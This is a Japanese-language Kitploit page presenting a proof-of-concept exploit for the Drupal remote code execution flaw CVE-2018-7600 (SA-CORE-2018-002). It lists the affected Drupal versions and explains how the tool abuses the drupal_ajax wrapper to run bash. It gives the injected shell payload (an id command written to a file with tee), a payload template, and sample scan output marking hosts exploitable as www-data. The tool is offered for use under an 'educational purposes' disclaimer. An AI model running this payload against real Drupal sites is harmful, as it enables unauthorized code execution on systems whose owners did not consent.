CVE-2018-7600 — Drupal CVE-2018-7600 / SA-CORE-2018-002 の概念実証 | Kitploit

共有

Proof-Of-Concept for CVE-2018-7600 / SA-CORE-2018-002 codebeat badge

Drupal 7.58未満、8.x 8.3.9未満、8.4.x 8.4.6未満、8.5.x 8.5.1未満のバージョンでは、デフォルトまたは一般的なモジュール構成の複数のサブシステムに影響する問題により、リモート攻撃者が任意のコードを実行できる可能性があります。

動作の仕組み

drupal_ajax ラッパーにパケットを送信してユーザーを登録します。ユーザーが exec マークアップを使用してbashを実行できるようにします。このPoCは、ユーザー名とIDを abcde.txt に送信します。
```
echo Name: $(id -un) UID: $(id -u) Groups: $(id -Gn) | tee abcde.txt
```

http*://example.com/abcde.txt を確認します

[!] PROVIDED ONLY FOR EDUCATIONAL OR INFORMATION PURPOSES.
[?] Enter file name (example: /root/file/hosts.txt): hosts.txt
[+] https://example.com/ Possibly exploitable
[~] Checking... https://example.com/abcde.text
[+] https://example.com/ Exploitable
[+] UID: 33 Name: www-data
[+] Deleting... https://example.com/abcde.text

ペイロード

%s = ファイル名

ユーザーID、PID、グループペイロード

echo Name: $(id -un) UID: $(id -u) Groups: $(id -Gn) | tee %s

謝辞

Vitalii Rudnykh に感謝

教育または情報提供のみを目的として提供されています。